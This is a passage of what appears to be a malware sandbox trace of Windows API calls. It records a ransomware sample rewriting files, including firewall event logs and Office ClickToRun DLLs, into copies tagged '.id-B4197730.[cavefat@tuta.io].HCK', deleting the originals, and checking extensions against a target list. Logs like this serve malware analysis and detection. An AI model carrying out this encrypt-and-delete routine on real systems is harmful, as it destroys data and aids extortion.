(hFile=0x2e8) returned 1 [0158.694] CloseHandle (hObject=0x2e8) returned 1 [0159.135] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.135] SetEndOfFile (hFile=0x364) returned 1 [0159.136] CloseHandle (hObject=0x364) returned 1 [0159.136] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.136] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString=".doc") returned 4 [0159.137] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString=".docx") returned 5 [0159.137] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0159.137] lstrlenW (lpString=".pdf") returned 4 [0159.137] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString=".xls") returned 4 [0159.137] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString=".xlsx") returned 5 [0159.137] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0159.137] lstrlenW (lpString=".ppt") returned 4 [0159.137] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString=".zip") returned 4 [0159.137] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString=".rar") returned 4 [0159.137] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString=".bz2") returned 4 [0159.137] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString=".7z") returned 3 [0159.137] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString=".dbf") returned 4 [0159.137] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString=".1cd") returned 4 [0159.137] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString=".jpg") returned 4 [0159.137] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.137] lstrlenW (lpString=".doc") returned 4 [0159.137] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0159.137] lstrlenW (lpString=".docx") returned 5 [0159.137] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0159.137] lstrlenW (lpString=".pdf") returned 4 [0159.138] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString=".xls") returned 4 [0159.138] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString=".xlsx") returned 5 [0159.138] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0159.138] lstrlenW (lpString=".ppt") returned 4 [0159.138] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.138] lstrlenW (lpString=".zip") returned 4 [0159.138] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString=".rar") returned 4 [0159.138] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString=".bz2") returned 4 [0159.138] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString=".7z") returned 3 [0159.138] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0159.138] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.138] lstrlenW (lpString=".dbf") returned 4 [0159.138] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.138] lstrlenW (lpString=".1cd") returned 4 [0159.138] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0159.138] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0159.138] lstrlenW (lpString=".jpg") returned 4 [0159.138] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0159.138] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.138] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0159.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.138] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=11616) returned 1 [0159.138] CloseHandle (hObject=0x364) returned 1 [0159.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0159.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.139] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.139] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.139] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.139] GetLastError () returned 0x0 [0159.139] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0159.140] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0159.141] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x116, lpOverlapped=0x0) returned 1 [0159.141] SetEndOfFile (hFile=0x2e8) returned 1 [0159.141] CloseHandle (hObject=0x2e8) returned 1 [0159.142] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.142] SetEndOfFile (hFile=0x364) returned 1 [0159.143] CloseHandle (hObject=0x364) returned 1 [0159.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.143] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString=".doc") returned 4 [0159.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.144] lstrlenW (lpString=".docx") returned 5 [0159.144] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.144] lstrlenW (lpString=".pdf") returned 4 [0159.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.144] lstrlenW (lpString=".xls") returned 4 [0159.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.144] lstrlenW (lpString=".xlsx") returned 5 [0159.144] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.144] lstrlenW (lpString=".ppt") returned 4 [0159.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString=".zip") returned 4 [0159.144] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.144] lstrlenW (lpString=".rar") returned 4 [0159.144] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.144] lstrlenW (lpString=".bz2") returned 4 [0159.144] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.144] lstrlenW (lpString=".7z") returned 3 [0159.144] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString=".dbf") returned 4 [0159.144] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString=".1cd") returned 4 [0159.144] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString=".jpg") returned 4 [0159.144] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.144] lstrlenW (lpString=".doc") returned 4 [0159.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.145] lstrlenW (lpString=".docx") returned 5 [0159.145] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.145] lstrlenW (lpString=".pdf") returned 4 [0159.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.145] lstrlenW (lpString=".xls") returned 4 [0159.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.145] lstrlenW (lpString=".xlsx") returned 5 [0159.145] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.145] lstrlenW (lpString=".ppt") returned 4 [0159.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.145] lstrlenW (lpString=".zip") returned 4 [0159.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.145] lstrlenW (lpString=".rar") returned 4 [0159.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.145] lstrlenW (lpString=".bz2") returned 4 [0159.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.145] lstrlenW (lpString=".7z") returned 3 [0159.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.145] lstrlenW (lpString=".dbf") returned 4 [0159.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.145] lstrlenW (lpString=".1cd") returned 4 [0159.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0159.145] lstrlenW (lpString=".jpg") returned 4 [0159.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.145] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.145] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0159.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.145] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=19648) returned 1 [0159.145] CloseHandle (hObject=0x364) returned 1 [0159.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0159.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.146] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.146] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.146] GetLastError () returned 0x0 [0159.146] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0159.148] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0159.148] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.148] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x112, lpOverlapped=0x0) returned 1 [0159.149] SetEndOfFile (hFile=0x2e8) returned 1 [0159.149] CloseHandle (hObject=0x2e8) returned 1 [0159.150] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.150] SetEndOfFile (hFile=0x364) returned 1 [0159.150] CloseHandle (hObject=0x364) returned 1 [0159.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.151] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0159.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.151] lstrlenW (lpString=".doc") returned 4 [0159.151] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.151] lstrlenW (lpString=".docx") returned 5 [0159.151] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.151] lstrlenW (lpString=".pdf") returned 4 [0159.151] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.151] lstrlenW (lpString=".xls") returned 4 [0159.151] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.151] lstrlenW (lpString=".xlsx") returned 5 [0159.151] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.151] lstrlenW (lpString=".ppt") returned 4 [0159.151] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.151] lstrlenW (lpString=".zip") returned 4 [0159.151] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.151] lstrlenW (lpString=".rar") returned 4 [0159.151] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.151] lstrlenW (lpString=".bz2") returned 4 [0159.151] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.151] lstrlenW (lpString=".7z") returned 3 [0159.151] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.151] lstrlenW (lpString=".dbf") returned 4 [0159.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString=".1cd") returned 4 [0159.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString=".jpg") returned 4 [0159.152] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString=".doc") returned 4 [0159.152] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.152] lstrlenW (lpString=".docx") returned 5 [0159.152] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.152] lstrlenW (lpString=".pdf") returned 4 [0159.152] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.152] lstrlenW (lpString=".xls") returned 4 [0159.152] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.152] lstrlenW (lpString=".xlsx") returned 5 [0159.152] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.152] lstrlenW (lpString=".ppt") returned 4 [0159.152] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString=".zip") returned 4 [0159.152] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.152] lstrlenW (lpString=".rar") returned 4 [0159.152] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.152] lstrlenW (lpString=".bz2") returned 4 [0159.152] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.152] lstrlenW (lpString=".7z") returned 3 [0159.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString=".dbf") returned 4 [0159.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString=".1cd") returned 4 [0159.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0159.152] lstrlenW (lpString=".jpg") returned 4 [0159.152] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.152] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.153] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0159.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.153] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=22720) returned 1 [0159.153] CloseHandle (hObject=0x364) returned 1 [0159.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0159.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.153] GetLastError () returned 0x0 [0159.153] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x58c0, lpOverlapped=0x0) returned 1 [0159.155] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x58d0, lpOverlapped=0x0) returned 1 [0159.156] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, 